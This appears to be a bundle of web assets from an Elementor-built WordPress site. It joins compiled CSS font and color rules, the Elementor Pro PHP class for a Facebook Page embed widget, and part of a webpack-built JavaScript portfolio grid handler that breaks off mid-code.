/********* Compiled CSS - Do not edit *********/ :root{--button_padding:11px 23px;}.has-awb-color-1-color{color:#ffffff;}.has-awb-color-1-background-color{background-color:#ffffff;}.has-awb-color-2-color{color:#ebebeb;}.has-awb-color-2-background-color{background-color:#ebebeb;}.has-awb-color-3-color{color:#b6aa7b;}.has-awb-color-3-background-color{background-color:#b6aa7b;}.has-awb-color-4-color{color:#f1345d;}.has-awb-color-4-background-color{background-color:#f1345d;}.has-awb-color-5-color{color:#4a4a99;}.has-awb-color-5-background-color{background-color:#4a4a99;}.has-awb-color-6-color{color:#6e6e6e;}.has-awb-color-6-background-color{background-color:#6e6e6e;}.has-awb-color-7-color{color:#494949;}.has-awb-color-7-background-color{background-color:#494949;}.has-awb-color-8-color{color:#000000;}.has-awb-color-8-background-color{background-color:#000000;}/* cyrillic-ext */
@font-face {
  font-family: 'Cormorant Garamond';
  font-style: italic;
  font-weight: 500;
  font-display: swap;
  src: url(https://dermxpert.ro/wp-content/uploads/fusion-gfonts/co3ZmX5slCNuHLi8bLeY9MK7whWMhyjYrEtFmSq17w.woff2) format('woff2');
  unicode-range: U+0460-052F, U+1C80-1C8A, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F;
}
/* cyrillic */
@font-face {
  font-family: 'Cormorant Garamond';
  font-style: italic;
  font-weight: 500;
  font-display: swap;
  src: url(https://dermxpert.ro/wp-content/uploads/fusion-gfonts/co3ZmX5slCNuHLi8bLeY9MK7whWMhyjYrEtMmSq17w.woff2) format('woff2');
  unicode-range: U+0301, U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116;
}
/* vietnamese */
@font-face {
  font-family: 'Cormorant Garamond';
  font-style: italic;
  font-weight: 500;
  font-display: swap;
  src: url(https://dermxpert.ro/wp-content/uploads/fusion-gfonts/co3ZmX5slCNuHLi8bLeY9MK7whWMhyjYrEtHmSq17w.woff2) format('woff2');
  unicode-range: U+0102-0103, U+0110-0111, U+0128-0129, U+0168-0169, U+01A0-01A1, U+01AF-01B0, U+0300-0301, U+0303-0304, U+0308-0309, U+0323, U+0329, U+1EA0-1EF9, U+20AB;
}
/* latin-ext */
@font-face {
  font-family: 'Cormorant Garamond';
  font-style: italic;
  font-weight: 500;
  font-display: swap;
  src: url(https://dermxpert.ro/wp-content/uploads/fusion-gfonts/co3ZmX5slCNuHLi8bLeY9MK7whWMhyjYrEtGmSq17w.woff2) format('woff2');
  unicode-range: U+0100-02BA, U+02BD-02C5, U+02C7-02CC, U+02CE-02D7, U+02DD-02FF, U+0304, U+0308, U+0329, U+1D00-1DBF, U+1E00-1E9F, U+1EF2-1EFF, U+2020, U+20A0-20AB, U+20AD-20C0, U+2113, U+2C60-2C7F, U+A720-A7FF;
}
/* latin */
@font-face {
  font-family: 'Cormorant Garamond';
  font-style: italic;
  font-weight: 500;
  font-display: swap;
  src: url(https://dermxpert.ro/wp-content/uploads/fusion-gfonts/co3ZmX5slCNuHLi8bLeY9MK7whWMhyjYrEtImSo.woff2) format('woff2');
  unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+0304, U+0308, U+0329, U+2000-206F, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD;
}
/* cyrillic-ext */
@font-face {
  font-family: 'Cormorant Garamond';
  font-style: italic;
  font-weight: 700;
  font-display: swap;
  src: url(https://dermxpert.ro/wp-content/uploads/fusion-gfonts/co3ZmX5slCNuHLi8bLeY9MK7whWMhyjYrEtFmSq17w.woff2) format('woff2');
  unicode-range: U+0460-052F, U+1C80-1C8A, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F;
}
/* cyrillic */
@font-face {
  font-family: 'Cormorant Garamond';
  font-style: italic;
  font-weight: 700;
  font-display: swap;
  src: url(https://dermxpert.ro/wp-content/uploads/fusion-gfonts/co3ZmX5slCNuHLi8bLeY9MK7whWMhyjYrEtMmSq17w.woff2) format('woff2');
  unicode-range: U+0301, U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116;
}
/* vietnamese */
@font-face {
  font-family: 'Cormorant Garamond';
  font-style: italic;
  font-weight: 700;
  font-display: swap;
  src: url(https://dermxpert.ro/wp-content/uploads/fusion-gfonts/co3ZmX5slCNuHLi8bLeY9MK7whWMhyjYrEtHmSq17w.woff2) format('woff2');
  unicode-range: U+0102-0103, U+0110-0111, U+0128-0129, U+0168-0169, U+01A0-01A1, U+01AF-01B0, U+0300-0301, U+0303-0304, U+0308-0309, U+0323, U+0329, U+1EA0-1EF9, U+20AB;
}
/* latin-ext */
@font-face {
  font-family: 'Cormorant Garamond';
  font-style: italic;
  font-weight: 700;
  font-display: swap;
  src: url(https://dermxpert.ro/wp-content/uploads/fusion-gfonts/co3ZmX5slCNuHLi8bLeY9MK7whWMhyjYrEtGmSq17w.woff2) format('woff2');
  unicode-range: U+0100-02BA, U+02BD-02C5, U+02C7-02CC, U+02CE-02D7, U+02DD-02FF, U+0304, U+0308, U+0329, U+1D00-1DBF, U+1E00-1E9F, U+1EF2-1EFF, U+2020, U+20A0-20AB, U+20AD-20C0, U+2113, U+2C60-2C7F, U+A720-A7FF;
}
/* latin */
@font-face {
  font-family: 'Cormorant Garamond';
  font-style: italic;
  font-weight: 700;
  font-display: swap;
  src: url(https://dermxpert.ro/wp-content/uploads/fusion-gfonts/co3ZmX5slCNuHLi8bLeY9MK7whWMhyjYrEtImSo.woff2) format('woff2');
  unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+0304, U+0308, U+0329, U+2000-206F, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD;
}
/* cyrillic-ext */
@font-face {
  font-family: 'Cormorant Garamond';
  font-style: normal;
  font-weight: 500;
  font-display: swap;
  src: url(https://dermxpert.ro/wp-content/uploads/fusion-gfonts/co3bmX5slCNuHLi8bLeY9MK7whWMhyjYpHtKgS4.woff2) format('woff2');
  unicode-range: U+0460-052F, U+1C80-1C8A, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F;
}
/* cyrillic */
@font-face {
  font-family: 'Cormorant Garamond';
  font-style: normal;
  font-weight: 500;
  font-display: swap;
  src: url(https://dermxpert.ro/wp-content/uploads/fusion-gfonts/co3bmX5slCNuHLi8bLeY9MK7whWMhyjYrXtKgS4.woff2) format('woff2');
  unicode-range: U+0301, U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116;
}
/* vietnamese */
@font-face {
  font-family: 'Cormorant Garamond';
  font-style: normal;
  font-weight: 500;
  font-display: swap;
  src: url(https://dermxpert.ro/wp-content/uploads/fusion-gfonts/co3bmX5slCNuHLi8bLeY9MK7whWMhyjYpntKgS4.woff2) format('woff2');
  unicode-range: U+0102-0103, U+0110-0111, U+0128-0129, U+0168-0169, U+01A0-01A1, U+01AF-01B0, U+0300-0301, U+0303-0304, U+0308-0309, U+0323, U+0329, U+1EA0-1EF9, U+20AB;
}
/* latin-ext */
@font-face {
  font-family: 'Cormorant Garamond';
  font-style: normal;
  font-weight: 500;
  font-display: swap;
  src: url(https://dermxpert.ro/wp-content/uploads/fusion-gfonts/co3bmX5slCNuHLi8bLeY9MK7whWMhyjYp3tKgS4.woff2) format('woff2');
  unicode-range: U+0100-02BA, U+02BD-02C5, U+02C7-02CC, U+02CE-02D7, U+02DD-02FF, U+0304, U+0308, U+0329, U+1D00-1DBF, U+1E00-1E9F, U+1EF2-1EFF, U+2020, U+20A0-20AB, U+20AD-20C0, U+2113, U+2C60-2C7F, U+A720-A7FF;
}
/* latin */
@font-face {
  font-family: 'Cormorant Garamond';
  font-style: normal;
  font-weight: 500;
  font-display: swap;
  src: url(https://dermxpert.ro/wp-content/uploads/fusion-gfonts/co3bmX5slCNuHLi8bLeY9MK7whWMhyjYqXtK.woff2) format('woff2');
  unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+0304, U+0308, U+0329, U+2000-206F, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD;
}
/* cyrillic-ext */
@font-face {
  font-family: 'Cormorant Garamond';
  font-style: normal;
  font-weight: 700;
  font-display: swap;
  src: url(https://dermxpert.ro/wp-content/uploads/fusion-gfonts/co3bmX5slCNuHLi8bLeY9MK7whWMhyjYpHtKgS4.woff2) format('woff2');
  unicode-range: U+0460-052F, U+1C80-1C8A, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F;
}
/* cyrillic */
@font-face {
  font-family: 'Cormorant Garamond';
  font-style: normal;
  font-weight: 700;
  font-display: swap;
  src: url(https://dermxpert.ro/wp-content/uploads/fusion-gfonts/co3bmX5slCNuHLi8bLeY9MK7whWMhyjYrXtKgS4.woff2) format('woff2');
  unicode-range: U+0301, U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116;
}
/* vietnamese */
@font-face {
  font-family: 'Cormorant Garamond';
  font-style: normal;
  font-weight: 700;
  font-display: swap;
  src: url(https://dermxpert.ro/wp-content/uploads/fusion-gfonts/co3bmX5slCNuHLi8bLeY9MK7whWMhyjYpntKgS4.woff2) format('woff2');
  unicode-range: U+0102-0103, U+0110-0111, U+0128-0129, U+0168-0169, U+01A0-01A1, U+01AF-01B0, U+0300-0301, U+0303-0304, U+0308-0309, U+0323, U+0329, U+1EA0-1EF9, U+20AB;
}
/* latin-ext */
@font-face {
  font-family: 'Cormorant Garamond';
  font-style: normal;
  font-weight: 700;
  font-display: swap;
  src: url(https://dermxpert.ro/wp-content/uploads/fusion-gfonts/co3bmX5slCNuHLi8bLeY9MK7whWMhyjYp3tKgS4.woff2) format('woff2');
  unicode-range: U+0100-02BA, U+02BD-02C5, U+02C7-02CC, U+02CE-02D7, U+02DD-02FF, U+0304, U+0308, U+0329, U+1D00-1DBF, U+1E00-1E9F, U+1EF2-1EFF, U+2020, U+20A0-20AB, U+20AD-20C0, U+2113, U+2C60-2C7F, U+A720-A7FF;
}
/* latin */
@font-face {
  font-family: 'Cormorant Garamond';
  font-style: normal;
  font-weight: 700;
  font-display: swap;
  src: url(https://dermxpert.ro/wp-content/uploads/fusion-gfonts/co3bmX5slCNuHLi8bLeY9MK7whWMhyjYqXtK.woff2) format('woff2');
  unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+0304, U+0308, U+0329, U+2000-206F, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD;
}
/* devanagari */
@font-face {
  font-family: 'Poppins';
  font-style: italic;
  font-weight: 500;
  font-display: swap;
  src: url(https://dermxpert.ro/wp-content/uploads/fusion-gfonts/pxiDyp8kv8JHgFVrJJLmg1hVFteOcEg.woff2) format('woff2');
  unicode-range: U+0900-097F, U+1CD0-1CF9, U+200C-200D, U+20A8, U+20B9, U+20F0, U+25CC, U+A830-A839, U+A8E0-A8FF, U+11B00-11B09;
}
/* latin-ext */
@font-face {
  font-family: 'Poppins';
  font-style: italic;
  font-weight: 500;
  font-display: swap;
  src: url(https://dermxpert.ro/wp-content/uploads/fusion-gfonts/pxiDyp8kv8JHgFVrJJLmg1hVGdeOcEg.woff2) format('woff2');
  unicode-range: U+0100-02BA, U+02BD-02C5, U+02C7-02CC, U+02CE-02D7, U+02DD-02FF, U+0304, U+0308, U+0329, U+1D00-1DBF, U+1E00-1E9F, U+1EF2-1EFF, U+2020, U+20A0-20AB, U+20AD-20C0, U+2113, U+2C60-2C7F, U+A720-A7FF;
}
/* latin */
@font-face {
  font-family: 'Poppins';
  font-style: italic;
  font-weight: 500;
  font-display: swap;
  src: url(https://dermxpert.ro/wp-content/uploads/fusion-gfonts/pxiDyp8kv8JHgFVrJJLmg1hVF9eO.woff2) format('woff2');
  unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+0304, U+0308, U+0329, U+2000-206F, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD;
}
/* devanagari */
@font-face {
  font-family: 'Poppins';
  font-style: italic;
  font-weight: 600;
  font-display: swap;
  src: url(https://dermxpert.ro/wp-content/uploads/fusion-gfonts/pxiDyp8kv8JHgFVrJJLmr19VFteOcEg.woff2) format('woff2');
  unicode-range: U+0900-097F, U+1CD0-1CF9, U+200C-200D, U+20A8, U+20B9, U+20F0, U+25CC, U+A830-A839, U+A8E0-A8FF, U+11B00-11B09;
}
/* latin-ext */
@font-face {
  font-family: 'Poppins';
  font-style: italic;
  font-weight: 600;
  font-display: swap;
  src: url(https://dermxpert.ro/wp-content/uploads/fusion-gfonts/pxiDyp8kv8JHgFVrJJLmr19VGdeOcEg.woff2) format('woff2');
  unicode-range: U+0100-02BA, U+02BD-02C5, U+02C7-02CC, U+02CE-02D7, U+02DD-02FF, U+0304, U+0308, U+0329, U+1D00-1DBF, U+1E00-1E9F, U+1EF2-1EFF, U+2020, U+20A0-20AB, U+20AD-20C0, U+2113, U+2C60-2C7F, U+A720-A7FF;
}
/* latin */
@font-face {
  font-family: 'Poppins';
  font-style: italic;
  font-weight: 600;
  font-display: swap;
  src: url(https://dermxpert.ro/wp-content/uploads/fusion-gfonts/pxiDyp8kv8JHgFVrJJLmr19VF9eO.woff2) format('woff2');
  unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+0304, U+0308, U+0329, U+2000-206F, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD;
}
/* devanagari */
@font-face {
  font-family: 'Poppins';
  font-style: normal;
  font-weight: 500;
  font-display: swap;
  src: url(https://dermxpert.ro/wp-content/uploads/fusion-gfonts/pxiByp8kv8JHgFVrLGT9Z11lFc-K.woff2) format('woff2');
  unicode-range: U+0900-097F, U+1CD0-1CF9, U+200C-200D, U+20A8, U+20B9, U+20F0, U+25CC, U+A830-A839, U+A8E0-A8FF, U+11B00-11B09;
}
/* latin-ext */
@font-face {
  font-family: 'Poppins';
  font-style: normal;
  font-weight: 500;
  font-display: swap;
  src: url(https://dermxpert.ro/wp-content/uploads/fusion-gfonts/pxiByp8kv8JHgFVrLGT9Z1JlFc-K.woff2) format('woff2');
  unicode-range: U+0100-02BA, U+02BD-02C5, U+02C7-02CC, U+02CE-02D7, U+02DD-02FF, U+0304, U+0308, U+0329, U+1D00-1DBF, U+1E00-1E9F, U+1EF2-1EFF, U+2020, U+20A0-20AB, U+20AD-20C0, U+2113, U+2C60-2C7F, U+A720-A7FF;
}
/* latin */
@font-face {
  font-family: 'Poppins';
  font-style: normal;
  font-weight: 500;
  font-display: swap;
  src: url(https://dermxpert.ro/wp-content/uploads/fusion-gfonts/pxiByp8kv8JHgFVrLGT9Z1xlFQ.woff2) format('woff2');
  unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+0304, U+0308, U+0329, U+2000-206F, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD;
}
/* devanagari */
@font-face {
  font-family: 'Poppins';
  font-style: normal;
  font-weight: 600;
  font-display: swap;
  src: url(https://dermxpert.ro/wp-content/uploads/fusion-gfonts/pxiByp8kv8JHgFVrLEj6Z11lFc-K.woff2) format('woff2');
  unicode-range: U+0900-097F, U+1CD0-1CF9, U+200C-200D, U+20A8, U+20B9, U+20F0, U+25CC, U+A830-A839, U+A8E0-A8FF, U+11B00-11B09;
}
/* latin-ext */
@font-face {
  font-family: 'Poppins';
  font-style: normal;
  font-weight: 600;
  font-display: swap;
  src: url(https://dermxpert.ro/wp-content/uploads/fusion-gfonts/pxiByp8kv8JHgFVrLEj6Z1JlFc-K.woff2) format('woff2');
  unicode-range: U+0100-02BA, U+02BD-02C5, U+02C7-02CC, U+02CE-02D7, U+02DD-02FF, U+0304, U+0308, U+0329, U+1D00-1DBF, U+1E00-1E9F, U+1EF2-1EFF, U+2020, U+20A0-20AB, U+20AD-20C0, U+2113, U+2C60-2C7F, U+A720-A7FF;
}
/* latin */
@font-face {
  font-family: 'Poppins';
  font-style: normal;
  font-weight: 600;
  font-display: swap;
  src: url(https://dermxpert.ro/wp-content/uploads/fusion-gfonts/pxiByp8kv8JHgFVrLEj6Z1xlFQ.woff2) format('woff2');
  unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+0304, U+0308, U+0329, U+2000-206F, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD;
}
@font-face {
  font-family: 'salon';
  src:
    url('https://dermxpert.ro/wp-content/uploads/fusion-icons/salon-v1.1/fonts/salon.ttf?6au0z4') format('truetype'),
    url('https://dermxpert.ro/wp-content/uploads/fusion-icons/salon-v1.1/fonts/salon.woff?6au0z4') format('woff'),
    url('https://dermxpert.ro/wp-content/uploads/fusion-icons/salon-v1.1/fonts/salon.svg?6au0z4#salon') format('svg');
  font-weight: normal;
  font-style: normal;
  font-display: swap;
}

[class^="salon-"], [class*=" salon-"] {
  /* use !important to prevent issues with browser extensions that change fonts */
  font-family: 'salon' !important;
  speak: never;
  font-style: normal;
  font-weight: normal;
  font-variant: normal;
  text-transform: none;
  line-height: 1;

  /* Better Font Rendering =========== */
  -webkit-font-smoothing: antialiased;
  -moz-osx-font-smoothing: grayscale;
}

.salon-close:before {
  content: "\e900";
}
.salon-menu:before {
  content: "\e901";
}
.salon-angle-down:before {
  content: "\f107";
}
<?php
namespace ElementorPro\Modules\Social\Widgets;

use Elementor\Controls_Manager;
use ElementorPro\Base\Base_Widget;
use ElementorPro\Modules\Social\Classes\Facebook_SDK_Manager;
use ElementorPro\Plugin;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}

class Facebook_Page extends Base_Widget {

	public function get_name() {
		return 'facebook-page';
	}

	public function get_title() {
		return esc_html__( 'Facebook Page', 'elementor-pro' );
	}

	public function get_icon() {
		return 'eicon-fb-feed';
	}

	public function get_keywords() {
		return [ 'facebook', 'social', 'embed', 'page' ];
	}

	protected function is_dynamic_content(): bool {
		return false;
	}

	public function has_widget_inner_wrapper(): bool {
		return ! Plugin::elementor()->experiments->is_feature_active( 'e_optimized_markup' );
	}

	/**
	 * Get style dependencies.
	 *
	 * Retrieve the list of style dependencies the widget requires.
	 *
	 * @since 3.24.0
	 * @access public
	 *
	 * @return array Widget style dependencies.
	 */
	public function get_style_depends(): array {
		return [ 'widget-social' ];
	}

	protected function register_controls() {
		$this->start_controls_section(
			'section_content',
			[
				'label' => esc_html__( 'Page', 'elementor-pro' ),
			]
		);

		Facebook_SDK_Manager::add_app_id_control( $this );

		$this->add_control(
			'widget_exclusively_web',
			[
				'type' => Controls_Manager::ALERT,
				'alert_type' => 'info',
				'content' => sprintf(
					esc_html__( 'Facebook page embedding is exclusively available for the web, mobile devices are not supported. %1$sLearn more%2$s', 'elementor-pro' ),
					sprintf( '<a href="%s" target="_blank">', Facebook_SDK_Manager::FACEBOOK_PLUGINS_FAQ_URL ),
					'</a>'
				),
			]
		);

		$this->add_control(
			'url',
			[
				'label' => esc_html__( 'Link', 'elementor-pro' ),
				'placeholder' => 'https://www.facebook.com/your-page/',
				'default' => 'https://www.facebook.com/elemntor/',
				'label_block' => true,
				'description' => esc_html__( 'Paste the URL of the Facebook page.', 'elementor-pro' ),
			]
		);

		$this->add_control(
			'tabs',
			[
				'label' => esc_html__( 'Layout', 'elementor-pro' ),
				'type' => Controls_Manager::SELECT2,
				'multiple' => true,
				'label_block' => true,
				'default' => [
					'timeline',
				],
				'options' => [
					'timeline' => esc_html__( 'Timeline', 'elementor-pro' ),
					'events' => esc_html__( 'Events', 'elementor-pro' ),
					'messages' => esc_html__( 'Messages', 'elementor-pro' ),
				],
			]
		);

		$this->add_control(
			'small_header',
			[
				'label' => esc_html__( 'Small Header', 'elementor-pro' ),
				'type' => Controls_Manager::SWITCHER,
				'default' => '',
			]
		);

		$this->add_control(
			'show_cover',
			[
				'label' => esc_html__( 'Cover Photo', 'elementor-pro' ),
				'type' => Controls_Manager::SWITCHER,
				'default' => 'yes',
			]
		);

		$this->add_control(
			'show_facepile',
			[
				'label' => esc_html__( 'Profile Photos', 'elementor-pro' ),
				'type' => Controls_Manager::SWITCHER,
				'default' => 'yes',
			]
		);

		$this->add_control(
			'show_cta',
			[
				'label' => esc_html__( 'Custom CTA Button', 'elementor-pro' ),
				'type' => Controls_Manager::SWITCHER,
				'default' => 'yes',
			]
		);

		$this->add_control(
			'height',
			[
				'label' => esc_html__( 'Height', 'elementor-pro' ),
				'type' => Controls_Manager::SLIDER,
				'size_units' => [ 'px', 'em', 'rem', 'custom' ],
				'default' => [
					'size' => 500,
				],
				'range' => [
					'px' => [
						'min' => 50,
						'max' => 1000,
					],
					'em' => [
						'min' => 5,
						'max' => 100,
					],
					'rem' => [
						'min' => 5,
						'max' => 100,
					],
				],
			]
		);

		$this->end_controls_section();
	}

	public function render() {
		$settings = $this->get_settings_for_display();

		if ( empty( $settings['url'] ) ) {
			echo $this->get_title() . ': ' . esc_html__( 'Please enter a valid URL', 'elementor-pro' ); // XSS ok.

			return;
		}

		$height = $settings['height']['size'] . $settings['height']['unit'];

		$attributes = [
			'class' => 'elementor-facebook-widget fb-page',
			'data-href' => $settings['url'],
			'data-tabs' => implode( ',', $settings['tabs'] ),
			'data-height' => $height,
			'data-width' => '500px', // Try the max possible width
			'data-small-header' => $settings['small_header'] ? 'true' : 'false',
			'data-hide-cover' => $settings['show_cover'] ? 'false' : 'true', // if `show` - don't hide.
			'data-show-facepile' => $settings['show_facepile'] ? 'true' : 'false',
			'data-hide-cta' => $settings['show_cta'] ? 'false' : 'true', // if `show` - don't hide.
			// The style prevent's the `widget.handleEmptyWidget` to set it as an empty widget.
			'style' => 'min-height: 1px;height:' . $height,
		];

		$this->add_render_attribute( 'embed_div', $attributes );

		echo '<div ' . $this->get_render_attribute_string( 'embed_div' ) . '></div>'; // XSS ok.
	}

	public function render_plain_content() {}

	public function get_group_name() {
		return 'social';
	}
}
/*! elementor-pro - v3.7.2 - 15-06-2022 */
"use strict";
(self["webpackChunkelementor_pro"] = self["webpackChunkelementor_pro"] || []).push([["portfolio"],{

/***/ "../modules/posts/assets/js/frontend/handlers/portfolio.js":
/*!*****************************************************************!*\
  !*** ../modules/posts/assets/js/frontend/handlers/portfolio.js ***!
  \*****************************************************************/
/***/ ((__unused_webpack_module, exports, __webpack_require__) => {



var _interopRequireDefault = __webpack_require__(/*! @babel/runtime/helpers/interopRequireDefault */ "../node_modules/@babel/runtime/helpers/interopRequireDefault.js");

Object.defineProperty(exports, "__esModule", ({
  value: true
}));
exports["default"] = void 0;

var _posts = _interopRequireDefault(__webpack_require__(/*! ./posts */ "../modules/posts/assets/js/frontend/handlers/posts.js"));

var _default = _posts.default.extend({
  isActive(settings) {
    return settings.$element.find('.elementor-portfolio').length;
  },

  getSkinPrefix() {
    return '';
  },

  getDefaultSettings() {
    var settings = _posts.default.prototype.getDefaultSettings.apply(this, arguments);

    settings.transitionDuration = 450;
    jQuery.extend(settings.classes, {
      active: 'elementor-active',
      item: 'elementor-portfolio-item',
      ghostItem: 'elementor-portfolio-ghost-item'
    });
    return settings;
  },

  getDefaultElements() {
    var elements = _posts.default.prototype.getDefaultElements.apply(this, arguments);

    elements.$filterButtons = this.$element.find('.elementor-portfolio__filter');
    return elements;
  },

  getOffset(itemIndex, itemWidth, itemHeight) {
    var settings = this.getSettings(),
        itemGap = this.elements.$postsContainer.width() / settings.colsCount - itemWidth;
    itemGap += itemGap / (settings.colsCount - 1);
    return {
      start: (itemWidth + itemGap) * (itemIndex % settings.colsCount),
      top: (itemHeight + itemGap) * Math.floor(itemIndex / settings.colsCount)
    };
  },

  getClosureMethodsNames() {
    var baseClosureMethods = _posts.default.prototype.getClosureMethodsNames.apply(this, arguments);

    return baseClosureMethods.concat(['onFilterButtonClick']);
  },

  filterItems(term) {
    var $posts = this.elements.$posts,
        activeClass = this.getSettings('classes.active'),
        termSelector = '.elementor-filter-' + term;

    if ('__all' === term) {
      $posts.addClass(activeClass);
      return;
    }

    $posts.not(termSelector).removeClass(activeClass);
    $posts.filter(termSelector).addClass(activeClass);
  },

  removeExtraGhostItems() {
    var settings = this.getSettings(),
        $shownItems = this.elements.$posts.filter(':visible'),
        emptyColumns = (settings.colsCount - $shownItems.length % settings.colsCount) % settings.colsCount,
        $ghostItems = this.elements.$postsContainer.find('.' + settings.classes.ghostItem);
    $ghostItems.slice(emptyColumns).remove();
  },

  handleEmptyColumns() {
    this.removeExtraGhostItems();
    var settings = this.getSettings(),
        $shownItems = this.elements.$posts.filter(':visible'),
        $ghostItems = this.elements.$postsContainer.find('.' + settings.classes.ghostItem),
        emptyColumns = (settings.colsCount - ($shownItems.length + $ghostItems.length) % settings.colsCount) % settings.colsCount;

    for (var i = 0; i < emptyColumns; i++) {
      this.elements.$postsContainer.append(jQuery('<div>', {
        class: settings.classes.item + ' ' + settings.classes.ghostItem
      }));
    }
  },

  showItems($activeHiddenItems) {
    $activeHiddenItems.show();
    setTimeout(function () {
      $activeHiddenItems.css({
        opacity: 1
      });
    });
  },

  hideItems($inactiveShownItems) {
    $inactiveShownItems.hide();
  },

  arrangeGrid() {
    var $ = jQuery,
        self = this,
        settings = self.getSettings(),
        $activeItems = self.elements.$posts.filter('.' + settings.classes.active),
        $inactiveItems = self.elements.$posts.not('.' + settings.classes.active),
        $activeHiddenItems = $activeItems.filter(':hidden'),
        $inactiveShownItems = $inactiveItems.filter(':visible');
    self.elements.$posts.css('transition-duration', settings.transitionDuration + 'ms');
    self.showItems($activeHiddenItems);

    if (self.isEdit) {
      self.fitImages();
    }

    self.handleEmptyColumns();

    if (self.isMasonryEnabled()) {
      self.hideItems($inactiveShownItems);
      self.showItems($activeHiddenItems);
      self.handleEmptyColumns();
      self.runMasonry();
      return;
    }

    $inactiveShownItems.css({
      opacity: 0,
      transform: 'scale3d(0.2, 0.2, 1)'
    });
    const $shownItems = self.elements.$posts.filter(':visible'),
          $activeOrShownItems = $activeItems.add($shownItems),
          $activeShownItems = $activeItems.filter(':visible'),
          itemWidth = $shownItems.outerWidth(),
          itemHeight = $shownItems.outerHeight();
    $activeShownItems.each(function () {
      var $item = $(this),
          currentOffset = self.getOffset($activeOrShownItems.index($item), itemWidth, itemHeight),
          requiredOffset = self.getOffset($shownItems.index($item), itemWidth, itemHeight);

      if (currentOffset.start === requiredOffset.start && currentOffset.top === requiredOffset.top) {
        return;
      }

      requiredOffset.start -= currentOffset.start;
      requiredOffset.top -= currentOffset.top;

      if (elementorFrontend.config.is_rtl) {
        requiredOffset.start *= -1;
      }

      $item.css({
        transitionDuration: '',
        transform: 'translate3d(' + requiredOffset.start + 'px, ' + requiredOffset.top + 'px, 0)'
      });
    });
    setTimeout(function () {
      $activeItems.each(function () {
        var $item = $(this),
            currentOffset = self.getOffset($activeOrShownItems.index($item), itemWidth, itemHeight),
            requiredOffset = self.getOffset($activeItems.index($item), itemWidth, itemHeight);
        $item.css({
          transitionDuration: settings.transitionDuration + 'ms'
        });
        requiredOffset.start -= currentOffset.start;
        requiredOffset.top -= currentOffset.top;

        if (elementorFrontend.config.is_rtl) {
          requiredOffset.start *= -1;
        }

        setTimeout(function () {
          $item.css('transform', 'translate3d(' + requiredOffset.start + 'px, ' + requiredOffset.top + 'px, 0)');
        });
      });
    });
    setTimeout(function () {
      self.hideItems($inactiveShownItems);
      $activeItems.css({
        transitionDuration: '',
        transform: 'translate3d(0px, 0px, 0px)'
      });
      self.handleEmptyColumns();
    }, settings.transitionDuration);
  },

  activeFilterButton(filter) {
    var activeClass = this.getSettings('classes.active'),
        $filterButtons = this.elements.$filterButtons,
        $button = $filterButtons.filter('[data-filter="' + filter + '"]');
    $filterButtons.removeClass(activeClass);
    $button.addClass(activeClass);
  },

  setFilter(filter) {
    this.activeFilterButton(filter);
    this.filterItems(filter);
    this.arrangeGrid();
  },

  refreshGrid() {
    this.setColsCountSettings();
    this.arrangeGrid();
  },

  bindEvents() {
    _posts.default.prototype.bindEvents.apply(this, arguments);

    this.elements.$filterButtons.on('click', this.onFilterButtonClick);
  },

  isMasonryEnabled() {
    return !!this.getElementSettings('masonry');
  },

  run() {
    _posts.default.prototype.run.apply(this, arguments);

    this.setColsCountSettings();
    this.setFilter('__all');
    this.handleEmptyColumns();
  },

  onFilterButtonClick(event) {
    this.setFilter(jQuery(event.currentTarget).data('filter'));
  },

  onWindowResize() {
    _posts.default.prototype.onWindowResize.apply(this, arguments);

    this.refreshGrid();
  },

  onElementChange(propertyName) {
    _posts.default.prototype.onElementChange.apply(this, arguments);

    if ('classic_item_ratio' === propertyName) {
      this.refreshGrid();
    }
  }

});

exports["default"] = _default;

/***/ }),

/***/ "../modules/posts/assets/js/frontend/handlers/posts.js":
/*!*************************************************************!*\
  !*** ../modules/posts/assets/js/frontend/handlers/posts.js ***!
  \*************************************************************/
/***/ ((__unused_webpack_module, exports) => {



Object.defineProperty(exports, "__esModule", ({
  value: true
}));
exports["default"] = void 0;

var _default = elementorModules.frontend.handlers.Base.extend({
  getSkinPrefix() {
    return 'classic_';
  },

  bindEvents() {
    var cid = this.getModelCID();
    elementorFrontend.addListenerOnce(cid, 'resize', this.onWindowResize);
  },

  getClosureMethodsNames() {
    return elementorModules.frontend.handlers.Base.prototype.getClosureMethodsNames.apply(this, arguments).concat(['fitImages', 'onWindowResize', 'runMasonry']);
  },

  getDefaultSettings() {
    return {
      classes: {
        fitHeight: 'elementor-fit-height',
        hasItemRatio: 'elementor-has-item-ratio'
      },
